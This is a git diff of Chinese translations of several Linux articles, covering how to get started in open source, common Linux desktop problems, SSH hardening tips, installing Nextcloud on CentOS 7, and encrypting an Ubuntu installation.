还有个重要的事情就是研究他们的源代码。“开源”就是开放“源代码”,所以你可以把他们的代码拿来瞅瞅。尽管要全面了解他们的项目可能超乎你的能力,但是你可以知道这个项目是如何管理的,他们最可能需要帮助的是什么。关于代码是如何组织的?这些代码有注释吗?它们使用统一的程序风格吗?这些问题你可以查阅相关文档,尤其是 README、 LICENSE ,或者是 COPYING 这几个文件。
不要低估遵守开放源代码承诺的重要性。这是你被允许参与进来到开源项目来的原因,因此,你得深入地考虑下你能从中学习到什么,以及你将如何为该项目提供帮助。
找到最佳的开源社区更像是约妹子,尤其是更像在[《偷天情缘》][7]里的约会。这需要时间,并且刚开始那几次有可能会失败。你参与这样的聚会越多,你就越了解这些开源项目。最后,你会更了解自己,当你找到了与其它参与者融为一体的方式时,你就已经成功了。总之,你得要有耐心,一切顺其自然。
### 行动比语言更重要
![Wingfoot--How to Program](https://opensource.com/sites/default/files/wingfoot.png "Wingfoot--How to Program")
作为一名开源程序员最重要的是写代码(开源中的“源”),任何想法都没多少意义。关键是把你的想法变成实际的东西。你要让大家都知道你在做什么、知道你不怕苦不怕累,也愿意在开源项目上花时间,并且能够通过编程的方式来实现自己的各种想法。
为了更高效地完成那些工作,你需要对开源项目做做功课,包括项目怎么样才能听取你的建议、哪个分支是稳定的哪个是开发的等等。
从下面几点开始:
* 熟悉一个项目及其协作开发的氛围,并且接受这种氛围。
* 编写软件升级包、缺陷修复包,或者一些小的功能需求,并且提交它们。
* 如果你提交的补丁被拒绝了,也不要难过。他们拒绝的不是你个人,而是开发小组在针对你提交的代码进行评估后作出的一个反馈。
* 如果你提交的代码被改得面目全非后才被接受也不要泄气。
* 从头再来,不断努力,再接受更大的挑战。
![Leaderboard--How to program](https://opensource.com/sites/default/files/leaderboard.png "Leaderboard--How to program")
在开源项目中不应该开设排行榜。然而,有些开源社区却弄了个贡献排名,其实这没必要。大家只需要积极参与、奉献,贡献你的才智、提交你的代码,这样就可以了。
### 开发软件
![Treasure Map--How to Program](https://opensource.com/sites/default/files/treasure-map.png "Treasure Map--How to Program")
编程不管在那种情况下都关乎于你自身的发展。无论你是否为了寻找解决问题的新方法,寻找优化代码的方式,学习新的编程语言,或者是学习如何更好的与其它人员合作,你都不会停止成长。你自己成长得越多,对开源项目越有帮助。
个人成长和职业技能的提升是你参与开源项目的终极目标,但是实际上这是一个贯穿整个项目的持续过程。成为一个开源程序员跟得到一份公务员工作不同;这是一个持之以恒的过程。学习、分享、再学习,或许你会去编写一个[“康威生命游戏”][8],然后你会学到越来越多。
这就是开源的过程:自由地开发,每一行代码。因此,发现你的技能树,激发潜能,付出努力,不断提高自己的技能,并最终参与其中。
--------------------------------------------------------------------------------
作者简介:
![](https://opensource.com/sites/default/files/styles/profile_pictures/public/penguinmedallion200x200.png?itok=ROQSR50J)
Seth Kenlon —— Seth Kenlon 是一位独立多媒体艺术家,开源文化倡导者, Unix 极客。他还是 Slackware 多媒体产品项目的维护人员之一官网http://slackermedia.ml 。
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/how-get-started-open-source-programmer
作者:[Seth Kenlon][a]
译者:[rusking](https://github.com/rusking)
校对:[Bestony](https://github.com/Bestony), [wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/seth
[1]:https://www.flickr.com/photos/zagrev/79470567/in/photolist-82iQc-pijuye-9CmY3Z-c1EJAf-4Y65Zt-dhLziB-51QVc-hjqkN-4rNTuC-5Mbvqi-5MfK13-7dh6AW-2fiSu7-48R7et-5sC5ck-qf1TE9-48R6qv-pXuSG9-KFBLJ-95jQ8U-jBR7-dhLpfV-5bCZVH-9vsPTT-bA2nvP-bn7cWw-d7j8q-ubap-pij32X-7WT6iw-dcZZm2-3knisv-4dgN2f-bc6V1-E9xar-EovvU-6T71Mg-pi5zwE-5SR26m-dPKXrn-HFyzb-3aJF9W-7Rvz19-zbewj-xMsv-7MFi3u-2mVokJ-nsVAx-7g5k-4jCbbP
[2]:https://creativecommons.org/licenses/by-nc-sa/2.0/
[3]:https://en.wikipedia.org/wiki/Turtles_all_the_way_down
[4]:http://opensource.org/
[5]:https://opensource.org/licenses
[6]:https://opensource.org/licenses/category
[7]:https://en.wikipedia.org/wiki/Groundhog_Day_(film)
[8]:https://en.wikipedia.org/wiki/Conway's_Game_of_Life

View File

@ -0,0 +1,69 @@
故障排除提示5 个最常见的 Linux 问题
============================================================
> 了解如何解决Linux桌面用户遇到的最常见的问题
![5个linux最常见问题解决提示](https://opensource.com/sites/default/files/styles/image-full-size/public/images/law/rh_003601_05_mech_osyearbook2016_containers_cc.png?itok=0ZEfXLEE "Troubleshooting tips for the 5 most common Linux issues")
图片Opensource.com
尽管绝大多数用户如预期地成功安装和操作了 Linux 但不可避免地仍会有一些用户遇到问题。作为今年任务队列里的最后一篇文章,我认为在即将进入 2016 年时,总结一下人们所遇到的最常见的技术性的 Linux 问题会很有趣。我把这个问题发布到了 LinuxQuestions.orgLQ 和社交媒体,我分析了 LQ 的帖子情况之后,得到如下成果。
### 1、 Wifi 驱动程序(特别是 Broadcom 芯片)
一般来说Wifi 驱动程序,特别是 Broadcom 无线网卡,仍然是 Linux 面临的最大的问题技术问题之一。在 LQ 上2016 年有数以百计的帖子在讨论这个话题,而且还有其他无数的地方也是。市场上有数十种 Broadcom 无线网卡可供使用,但为每一个发行版描述具体的排错细节来已经超出了一篇文章的范畴,但是基本的故障排除步骤是相同的:
* 通过使用 `lspci` 命令确定具体使用的 Broadcom 卡,以找出 PCI ID
* 确定使用发行版是否支持该卡,
* 如果支持,找到正确的方法来使网卡工作。
例如,如果有一个 `14e4:4315` PCI ID 的卡,并且系统为 Ubuntu则应该知道 BCM4312 卡可以通过安装 `firmware-b43-installer` 包来驱动。另一个选择是在购买之前,研究好可用的 WiFi 卡,以确保您的发行版完全支持它。
### 2、 打印机驱动程序(特别是佳能和 Lexmark
打印机也是常有问题的,佳能和 Lexmark 被反复提及遇到这种问题。如果您要购买一台新打印机,请在购买之前研究兼容性。但是,如果您从其他操作系统迁移,这可能没得选择。如果你正在做调研,[OpenPrinting][1] 数据库和您的发行版的官方支持渠道是两个最好的起点。请注意,您应确保设备的所有功能完全兼容,特别是如果它是个多功能产品。对佳能打印机的一个常见的抱怨是,驱动程序通常只能在非英语,甚至是很难找的网站上才有。
> 如果您购买的是新打印机,请在购买之前研究兼容性。
### 3、 显卡
显卡是一个微妙的话题,因为在 Linux 上显卡可以非常好的简单直观的开箱即用。出现的问题是:显卡加速器/3D 加速;最新的显卡和最新显示技术,如 NVIDIA Optimus 和 ATI 动态 GPU 切换专有驱动程序的安装和稳定性能效管理以及可靠的挂起和恢复。如果你不是一个游戏玩家也没有别的需要高端图形功能的需求并且不是使用笔记本电脑那么你可能不必担心这个。如果您正在寻找一台新的笔记本电脑一定要在购买前研究好兼容性。如果你是一个游戏玩家或需要最高端的图形功能你需要明确知道你的需求是什么然后开始你的研究。幸运的是这种情况正在改善Wayland 开始解决问题2017 年情况应该会变得好一些。
### 4、 声卡
再次,对于简单配置,声卡非常容易设置并可以很可靠地在 Linux 上运行。一旦你买的是专业级产品,例如回声消除、音频路由,统一混合和其他复杂的配置,它可能就很快地每况愈下。我的建议是,如果你需要高端的实时音频,请使用专用的音频相关的发行版。
### 5、 安装
有了这个包罗万象的分类,本文几乎保证是高质量的。也就是说,公平的说,我不知道 Linux 有普遍的安装问题。绝大多数的安装都按预期进行。Linux 支持多种硬件,安装 Linux 机器上可能有近乎无限的硬件组合,不可避免会导致了某种情况下的例外情况。最终用户其实也很少安装类似 Mac OS 或 Windows 这样的其它系统,因为它们都是随同新设备预安装的。
> 绝大多数的安装都按预期进行。
### 前景光明
其他提到的问题经常包括蓝牙、挂起/恢复HiDPI 和触摸屏。您可能会看到这里形成一个模式本文中提到的大多数问题集中在桌面用户。如果你已经意识到了这点这其实是有意义的。Linux 桌面使用率相对较低,导致结果是,用于发现和解决相关问题的测试和资源很少。随着桌面使用量的增加,可以预期这些部分会改善。
在这方面,我认为最好提及的一个例子,曾经常常作为 Linux 的问题提出,但是反而最近很罕见:字体。几年前,获得高品质的抗锯齿字体常常是个问题。但是,随着现代发行版本的更新,它已成为常规。
你认为 2016 年最常见的 Linux 技术问题是什么? 请在评论中留言告诉我。
--------------------------------------------------------------------------------
作者简介:
![](https://opensource.com/sites/default/files/styles/profile_pictures/public/pictures/jeremy-garcia.jpg?itok=kqOMWJIg)
Jeremy Garcia - Jeremy Garcia is the founder of LinuxQuestions.org and an ardent but realistic open source advocate. Follow Jeremy on Twitter: @linuxquestions
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/yearbook-linux-troubleshooting-tips
作者:[Jeremy Garcia][a]
译者:[Vic020](http://vicyu.net)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/jeremy-garcia
[1]:http://www.openprinting.org/printers

View File

@ -0,0 +1,58 @@
让你的 Linux 远离黑客(一):两个安全建议
============================================================
![Keep hackers out](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/security-webinar.jpg?itok=af6QqiAm "Keep hackers out")
> 在本系列中,我们将介绍五种将黑客拒之门外的最简单的方法。请观看免费网络研讨会以了解更多信息。
[Creative Commons Zero] [1] Pixabay
在互联网上没有什么比美味的 Linux 机器让黑客更喜欢的了。在最近的 Linux 基金会网络研讨会中,我分享了黑客用来侵入的战术、工具和方法。
在这个系列的博文中,我们将介绍五种将黑客拒之门外的最简单的方法,并知道他们是否已经侵入。想要了解更多信息?请[观看免费的网络研讨会点播][4]。
### 简单的 Linux 安全提示 #1
**如果你没有在使用安全 shell你应该取使用它。**
这是一个有非常非常长时间的提示了。Telnet 是不安全的。 rLogin 是不安全的。仍然有服务需要这些,但它们不应该暴露在互联网上。如果你没有 SSH ,那就关闭互联网连接。我们总是说:使用 SSH 密钥。
SSH 规则 1不要使用密码认证。SSH 规则 2不要使用密码认证。SSH 规则 3不要使用密码认证。重要的事情重复三遍。
如果你有一台 Linux 机器在互联网上,不管时间长短,你总是面临暴力破解。肯定会这样的。暴力破解用的是脚本。扫描器只要看到对互联网开放的端口 22它们就会攻击它。
你可以做的另一件事是修改 SSH 的标准端口,我们许多人都这么做。这可以防止少量的暴力攻击,但是,一般来说,不使用密码认证,你会更安全。
SSH 的第四条规则:所有密钥都要设置密码。无密码密钥根本就不是真正的密钥。我知道如果你想要自动登录或自动化一些事情,这会使得难以处理,但所有的密钥应该有密码!
我最喜欢做的就是入侵一台主机,并找到主目录与私钥。一旦我拥有了私钥,那你就玩完了。我可以闯入使用该公钥的任何地方。
如果你有口令短语,哪怕只是一个密码,它不用是你的密钥环的长密码,但是它会使我的行为更加、更加困难。
### 简单的 Linux 安全提示 #2
**安装 Fail2ban**
我说的那些暴力攻击fail2ban 将大大有助于你。它将自动激活 iptables 规则以阻止 SSH 到你的机器的重复尝试。把它配置好,让它不会把你关在门外或者占用太多的资源。要使用它、爱它、看着它。
它有自己的日志,所以一定要查看它们,并检查它是否在实际运行。这是一件非常重要的事情。
在[本系列的第 2 部分][5],我会给你三个更容易的安全提示,以让黑客远离你的 Linux 机器。你也可以[现在观看完整的免费网络研讨会][6]。
--------------------------------------------------------------------------------
via: https://www.linux.com/news/webinar/2017/how-keep-hackers-out-your-linux-machine-part-1-top-two-security-tips
作者:[Mike Guthrie][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.linux.com/users/anch
[1]:https://www.linux.com/licenses/category/creative-commons-zero
[2]:https://www.linux.com/files/images/security-webinarjpg
[3]:http://bit.ly/2j89ISJ
[4]:http://bit.ly/2j89ISJ
[5]:https://www.linux.com/news/webinar/2017/how-keep-hackers-out-your-linux-machine-part-2-three-more-easy-security-tips
[6]:http://bit.ly/2j89ISJ

View File

@ -1,21 +1,9 @@
如何在 CentOS 7 中使用 Nginx 和 PHP7-FPM 安装 Nextcloud
==========================
### 导航
Nextcloud 是一款自由 (开源) 的类 Dropbox 软件,由 ownCloud 分支演化形成。它使用 PHP 和 JavaScript 编写,支持多种数据库系统,比如 MySQL/MariaDB、PostgreSQL、Oracle 数据库和 SQLite。它可以使你的桌面系统和云服务器中的文件保持同步Nextcloud 为 Windows、Linux、Mac、安卓以及苹果手机都提供了客户端支持。Nextcloud 并非只是 Dropbox 的克隆,它还提供了很多附加特性,如日历、联系人、计划任务以及流媒体 Ampache。
1. [步骤 1 - 在 CentOS 7 中安装 Nginx 和 PHP7-FPM][1]
2. [步骤 2 - 配置 PHP7-FPM][2]
3. [步骤 3 - 安装和配置 MariaDB][3]
4. [步骤 4 - 为 Nextcloud 生成一个自签名 SSL 证书][4]
5. [步骤 5 - 下载和安装 Nextcloud][5]
6. [步骤 6 - 在 Nginx 中为 Nextcloud 配置虚拟主机][6]
7. [步骤 7 - 为 Nextcloud 配置 SELinux 和 FirewallD 规则][7]
8. [步骤 8 - Nextcloud 安装][8]
9. [参考链接][9]
Nextcloud 是一款自由 (开源) 的类 Dropbox 软件,由 ownCloud 分支演化形成。它使用 PHP 和 JavaScript 编写,支持多种数据库系统,比如 MySQL/MariaDB、PostgreSQL、Oracle 数据库和 SQLite。为了让你的桌面系统和云服务器中的文件能够保持同步Nextcloud 为 Windows、Linux、Mac、安卓以及苹果手机都提供了客户端支持。Nextcloud 并非只是 Dropbox 的克隆,他还提供了很多附加特性,如日历、联系人、计划任务以及流媒体 Ampache。
在这片文章中,我将向你展示如何在 CentOS 7 服务器中安装和配置最新版本的 Nextcloud 10。我会通过 Nginx 和 PHP7-FPM 来运行 Nextcloud同时使用 MariaDB 做为数据库系统。
在这篇文章中,我将向你展示如何在 CentOS 7 服务器中安装和配置最新版本的 Nextcloud 10。我会通过 Nginx 和 PHP7-FPM 来运行 Nextcloud同时使用 MariaDB 做为数据库系统。
**先决条件**
@ -58,17 +46,17 @@ php -v
[![查看 PHP 版本号](https://www.howtoforge.com/images/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/1.png)][10]
### 步骤 2 - Configure PHP7-FPM
### 步骤 2 - 配置 PHP7-FPM
在这一个步骤中,我们将配置 php-fpm 与 Nginx 协同运行。Php7-fpm 将使用 nginx 用户来运行,并监听 9000 端口。
在这一个步骤中,我们将配置 php-fpm 与 Nginx 协同运行。Php7-fpm 将使用 `nginx` 用户来运行,并监听 `9000` 端口。
使用 vim 编辑 默认的 php7-fpm 配置文件。
使用 vim 编辑默认的 php7-fpm 配置文件。
```
vim /etc/php-fpm.d/www.conf
```
在第 8 行和第 10行user 和 group 赋值为 '**nginx**'.
在第 8 行和第 10行`user` 和 `group` 赋值为 `nginx`
```
user = nginx
@ -81,7 +69,7 @@ group = nginx
listen = 127.0.0.1:9000
```
去注释第 366-370 行,启用 php-fpm 的系统环境变量。
取消第 366-370 行的注释,启用 php-fpm 的系统环境变量。
```
env[HOSTNAME] = $HOSTNAME
@ -93,7 +81,7 @@ env[TEMP] = /tmp
保存文件并退出 vim 编辑器。
下一步,就是在 '/var/lib/' 目录下创建一个新的文件夹 session并将其拥有者变更为 'nginx' 用户。
下一步,就是在 `/var/lib/` 目录下创建一个新的文件夹 `session`,并将其拥有者变更为 `nginx` 用户。
```
mkdir -p /var/lib/php/session
@ -116,7 +104,7 @@ PHP7-FPM 配置完成
### 步骤 3 - 安装和配置 MariaDB
我这里使用 MariaDB 作为 Nextcloud 的数据库。可以直接使用 yum 命令从 CentOS 默认远程仓库中安装 mariadb-server 包。
我这里使用 MariaDB 作为 Nextcloud 的数据库。可以直接使用 `yum` 命令从 CentOS 默认远程仓库中安装 `mariadb-server` 包。
```
yum -y install mariadb mariadb-server
@ -135,7 +123,7 @@ systemctl enable mariadb
mysql_secure_installation
```
键入 'Y' ,然后设置MariaDB 的 root 密码。
键入 `Y` ,然后设置 MariaDB 的 root 密码。
```
Set root password? [Y/n] Y
@ -148,13 +136,13 @@ Remove test database and access to it? [Y/n] Y
Reload privilege tables now? [Y/n] Y
```
这样就设置好了密码,现在登录到 mysql shell 并为 Nextcloud 创建一个新的数据库和用户。这里我创建名为 '**nextcloud_db**' 的数据库以及名为 '**nextclouduser**' 的用户,用户密码为 '**nextclouduser@**'。当然了,在创建的时候你要需用一个更安全的密码。
这样就设置好了密码,现在登录到 mysql shell 并为 Nextcloud 创建一个新的数据库和用户。这里我创建名为 `nextcloud_db` 的数据库以及名为 `nextclouduser` 的用户,用户密码为 `nextclouduser@`。当然了,要给你自己的系统选用一个更安全的密码。
```
mysql -u root -p
```
输入密码即可登录 mysql shell。
输入 MariaDB 的 root 密码即可登录 mysql shell。
输入以下 mysql 查询语句来创建新的数据库和用户。
@ -167,11 +155,11 @@ flush privileges;
[![为 Nextcloud 创建一个新的数据库和用户](https://www.howtoforge.com/images/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/3.png)][12]
nextcloud_db 数据库和 'nextclouduser' 用户创建完成
`nextcloud_db` 数据库和 `nextclouduser` 数据库用户创建完成
### 步骤 4 - 为 Nextcloud 生成一个自签名 SSL 证书
在教程中,我会让客户端以 https 连接来运行 Nextcloud。你可以使用诸如 let's encrypt 等免费 SSL 证书,或者是自己创建 <g class="gr_ gr_207 gr-alert gr_gramm gr_run_anim Grammar only-ins doubleReplace replaceWithoutSep" id="207" data-gr-id="207">自签名 (self signed)</g> SSL 证书。这里我使用 OpenSSL 来创建自己的自签名 SSL 证书。
在教程中,我会让客户端以 https 连接来运行 Nextcloud。你可以使用诸如 let's encrypt 等免费 SSL 证书,或者是自己创建自签名 (self signed) SSL 证书。这里我使用 OpenSSL 来创建自己的自签名 SSL 证书。
为 SSL 文件创建新目录:
@ -179,13 +167,13 @@ nextcloud_db 数据库和 'nextclouduser' 用户创建完成
mkdir -p /etc/nginx/cert/
```
如下,使用 openssl 生成一个新的 SSL 证书。
如下,使用 `openssl` 生成一个新的 SSL 证书。
```
openssl req -new -x509 -days 365 -nodes -out /etc/nginx/cert/nextcloud.crt -keyout /etc/nginx/cert/nextcloud.key
```
最后使用 'chmod' 命令将所有证书文件的权限设置为 '600'
最后使用 `chmod` 命令将所有证书文件的权限设置为 `600`
```
chmod 700 /etc/nginx/cert
@ -196,34 +184,34 @@ chmod 600 /etc/nginx/cert/*
### 步骤 5 - 下载和安装 Nextcloud
我直接使用 wget 命令下载 Nextcloud 到服务器上,因此需要先行安装 wget。此外还需要安装 unzip 来进行解压。使用 'yum' 命令来安装这两个程序。
我直接使用 `wget` 命令下载 Nextcloud 到服务器上,因此需要先行安装 `wget`。此外,还需要安装 `unzip` 来进行解压。使用 `yum` 命令来安装这两个程序。
```
yum -y install wget unzip
```
先进入 /tmp 目录,然后使用 wget 从官网下载最新的 Nextcloud 10。
先进入 `/tmp` 目录,然后使用 `wget` 从官网下载最新的 Nextcloud 10。
```
cd /tmp
wget https://download.nextcloud.com/server/releases/nextcloud-10.0.2.zip
```
解压 Nextcloud并将其移动到 '/usr/share/nginx/html/' 目录。
解压 Nextcloud并将其移动到 `/usr/share/nginx/html/` 目录。
```
unzip nextcloud-10.0.2.zip
mv nextcloud/ /usr/share/nginx/html/
```
下一步,转到 Nginx web 根目录为 Nextcloud 创建一个 'data' 文件夹。
下一步,转到 Nginx 的 web 根目录为 Nextcloud 创建一个 `data` 文件夹。
```
cd /usr/share/nginx/html/
mkdir -p nextcloud/data/
```
变更 'nextcloud' 目录的拥有者为 'nginx' 用户和组。
变更 `nextcloud` 目录的拥有者为 `nginx` 用户和组。
```
chown nginx:nginx -R nextcloud/
@ -231,7 +219,7 @@ chown nginx:nginx -R nextcloud/
### 步骤 6 - 在 Nginx 中为 Nextcloud 配置虚拟主机
在步骤 5 我们已经下载好了 Nextcloud 源码,并配置好了让它运行于 Nginx 服务器中,但我们还需要为它配置一个虚拟主机。在 Nginx 的 'conf.d' 目录下创建一个新的虚拟主机配置文件 'nextcloud.conf'
在步骤 5 我们已经下载好了 Nextcloud 源码,并配置好了让它运行于 Nginx 服务器中,但我们还需要为它配置一个虚拟主机。在 Nginx 的 `conf.d` 目录下创建一个新的虚拟主机配置文件 `nextcloud.conf`
```
cd /etc/nginx/conf.d/
@ -388,7 +376,7 @@ systemctl restart nginx
yum -y install policycoreutils-python
```
然后以 root 用户来运行下命令,以便让 Nextcloud 运行于 SELinux 环境之下。如果你是用的其他名称的目录,记得将 'nextcloud' 替换掉哦
然后以 root 用户来运行下命令,以便让 Nextcloud 运行于 SELinux 环境之下。如果你是用的其他名称的目录,记得将 `nextcloud` 替换掉
```
semanage fcontext -a -t httpd_sys_rw_content_t '/usr/share/nginx/html/nextcloud/data(/.*)?'
@ -410,7 +398,7 @@ systemctl start firewalld
systemctl enable firewalld
```
现在使用 firewall-cmd 命令来开启command http 和 https 端口,然后重新加载 firewall
现在使用 `firewall-cmd` 命令来开启 http 和 https 端口,然后重新加载防火墙
```
firewall-cmd --permanent --add-service=http
@ -420,17 +408,17 @@ firewall-cmd --reload
[![为 Nextcloud 配置 FirewallD 规则](https://www.howtoforge.com/images/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/6.png)][15]
至此,服务器配置完成
至此,服务器配置完成
### 步骤 8 - Nextcloud 安装
打开你的 Web 浏览器,输入你为 Nextcloud 设置的域名,我这里设置为 cloud.nextcloud.co然后会重定向到安全性更好的 https 连接。
打开你的 Web 浏览器,输入你为 Nextcloud 设置的域名,我这里设置为 `cloud.nextcloud.co`,然后会重定向到安全性更好的 https 连接。
设置你的管理员用户名和密码,然后输入数据验证信息,点击 '**完成安装 (Finish Setup)**'。
[![Nextcloud 安装](https://www.howtoforge.com/images/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/7.png)][16]
Nextcloud 管理面板 (文件挂了) 大致如下:
Nextcloud 管理面板大致如下:
[![Nextcloud 管理面板](https://www.howtoforge.com/images/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/8.png)][17]
@ -438,7 +426,7 @@ Nextcloud 用户设置:
[![Nextcloud 用户设置](https://www.howtoforge.com/images/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/9.png)][18]
管理设置
管理设置
[![管理设置](https://www.howtoforge.com/images/how-to-install-nextcloud-with-nginx-and-php-fpm-on-centos-7/10.png)][19]
@ -460,7 +448,7 @@ via: https://www.howtoforge.com/tutorial/how-to-install-nextcloud-with-nginx-and
作者:[Muhammad Arul][a]
译者:[GHLandy](https://github.com/GHLandy)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -11,60 +11,60 @@
#### 加密的优点
* 提高私密程度
* 只有拥有密钥的人才能访问操作系统及其中文件
* 确保政府或者黑客无法侦测你的系统和侵犯你的隐私
* 只有拥有密钥的人才能访问操作系统及其中文件
* 确保政府或者黑客无法侦测你的系统和侵犯你的隐私
#### 加密的缺点
* 在其他的 Linux 操作系统上访问和挂载文件系统将变得困难
* 无法从些加密分区中恢复数据
* 无法从些加密分区中恢复数据
* 如果用户丢失了加密密钥,那就彻底悲剧了
### 安装前的准备
在 Ubuntu 中加密最好就是在安装进程开始之前以系统级来进行。在 Ubuntu 安装进程开始之后是无法加密的,所以先备份你的重要数据到 [Dropbox][10], [Google Drive][11] (或者其他硬盘),然后后准备重新安装 Ubuntu。
在 Ubuntu 中加密最好就是在安装进程开始之前在系统层面进行。在 Ubuntu 安装进程开始之后是无法加密的,所以先备份你的重要数据到 [Dropbox][10]、 [Google Drive][11] (或者其它硬盘上),然后后准备重新安装 Ubuntu。
![ubuntu 下载](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-ubuntu-alternative-downloads.jpg "ubuntu-encrypt-ubuntu-alternative-downloads")
![ubuntu 下载](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-ubuntu-alternative-downloads.jpg "ubuntu-encrypt-ubuntu-alternative-downloads")
从 [此处][12] 开始下载最新版本的 Ubuntu并制作好可启动的 U 盘 (需要至少 2 GB 可用空间)
从 [此处][12] 开始下载最新版本的 Ubuntu并制作好可启动的 U 盘 (需要至少 2 GB 可用空间)
制作启动 U 盘需要一个烧录程序,可以到 [etcher.io][13] 去下载。下载好之后解压 zip 文件,右击 (或者使用鼠标选定之后按下回车) 解压出来的文件以运行。
![烧录程序](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-etcher.jpg "ubuntu-encrypt-etcher")
![烧录程序](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-etcher.jpg "ubuntu-encrypt-etcher")
**注意**:烧录程序会询问是否创建 icon 文件选择“yes”。
**注意**:烧录程序会询问是否创建图标选择“yes”。
在烧录程序中点击“选择镜像 (Select Image)”按钮,选择之前下载好的额 Ubuntu ISO 镜像。然后插入你的 U 盘。烧录程序会自动检测并为你选择。最后,点击“开始烧录 (“Flash)”按钮来开始创建进程。
在烧录程序中点击“选择镜像Select Image”按钮选择之前下载好的 Ubuntu ISO 镜像。然后插入你的 U 盘。烧录程序会自动检测并为你选择。最后,点击“开始烧录 Flash”按钮来开始创建进程。
完成之后,重启电脑至 BIOS设置为 U 盘启动。
**注意**: 如果你的电脑不支持从 U 盘启动,下载 32 位的 Ubuntu并使用你电脑中的烧录软件将其烧录到 DVD 中。
**注意**如果你的电脑不支持从 U 盘启动,下载 32 位的 Ubuntu并使用你电脑中的烧录软件将其烧录到 DVD 中。
### 对你的硬盘进行全盘加密
加载好 Live Ubuntu 之后,安装进程就可以开始了。当 Ubuntu 安装进程开始之后,会出现下面这样一个界面。注意每个安装进程都可能不同的,并且可能指的是其另外的东西
加载好 Live Ubuntu 之后,安装进程就可以开始了。当 Ubuntu 安装进程开始之后,会出现下面这样一个界面。注意每个人安装进程都可能不同的,或许你会看到的不太一样
![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-installation-type1.jpg "ubuntu-encrypt-installation-type")
![](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-installation-type1.jpg "ubuntu-encrypt-installation-type")
选择“檫除磁盘并安装Ubuntu (Erase disk and install Ubuntu)”,并选择“**加密新装的 Ubuntu 以提高安全程度(Encrypt the new Ubuntu installation for Security)**”来开始加密安装进程。这样会自动选择 LVM。两个选框都必须选中。选好加密选项之后点击“现在安装 (Install Now)”。
选择“擦除磁盘并安装 Ubuntu Erase disk and install Ubuntu”,并选择“加密新装的 Ubuntu 以提高安全程度Encrypt the new Ubuntu installation for Security”来开始加密的安装进程。这样会自动选择 LVM。两个选框都必须选中。选好加密选项之后点击“现在安装Install Now”。
**注意**:如果是双系统启动的话,你需要安装安装到空余磁盘空间,而非檫除磁盘。选择好之后,像上边一样选择加密选项。
**注意**:如果是双系统启动的话,你需要安装到空余磁盘空间,而非擦除磁盘。选择好之后,像上边一样选择加密选项。
选择加密选项并开始安装之后,会出现一个加密配置页面。这个页面用户需要为安装进程设置自己的加密密钥。
![设置安全密码](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-choose-security-key.jpg "ubuntu-encrypt-choose-security-key")
![设置安全密码](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-choose-security-key.jpg "ubuntu-encrypt-choose-security-key")
输入安全密钥。该安全密钥设置窗口会自动为你输入的密钥进行密码强度评级,使用这个功能看着后边的显示,直到显示为“高强度密码 (strong password)”为止。输入完成后,在下方在此输入来确认密码,最后用一张把密码写下下来妥善保管。
输入安全密钥。该安全密钥设置窗口会自动为你输入的密钥进行密码强度评级,使用这个功能看着后边的显示,直到显示为“高强度密码strong password”为止。输入完成后,在下方在此输入来确认密码,最后用一张把密码写下下来妥善保管。
此外,选定“覆些磁盘空余空间 (Overwrite empty disk space)”,当然这是一个可选步骤。一切准备就绪之后点击现在安装即可。
此外,选定“覆些磁盘空余空间Overwrite empty disk space”,当然这是一个可选步骤。一切准备就绪之后点击现在安装即可。
![选择时区](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-timezone-select.jpg "ubuntu-encrypt-timezone-select")
![选择时区](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-timezone-select.jpg "ubuntu-encrypt-timezone-select")
在设置完加密密钥之后,就是传统的 Ubuntu 安装配置了。选择时区、创建用户以及对应的安全密码。
![加密家目录](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-home-folder-e1483900399596.jpg "ubuntu-encrypt-home-folder")
![加密家目录](https://maketecheasier-2d0f.kxcdn.com/assets/uploads/2017/01/ubuntu-encrypt-home-folder-e1483900399596.jpg "ubuntu-encrypt-home-folder")
与创建和加密 Ubuntu 磁盘对应,在创建用户的时记得候选择“需要密码登录系统 (require my password to log in)”和“加密我的家目录 (encrypt my home folder)”。这样可以为你的数据在增加一层保护。
与创建和加密 Ubuntu 磁盘对应,在创建用户的时记得候选择“登录系统需要密码require my password to log in”和“加密我的家目录encrypt my home folder”。这样可以为你的数据再增加一层保护。
等到用户名、加密设置以及其他所有事情都完成之后Ubuntu 安装进程就可以开始了。随后,安装进程会告知你安装已完成,移除安装介质后重启即可享受 Ubuntu 之旅。
@ -72,9 +72,9 @@
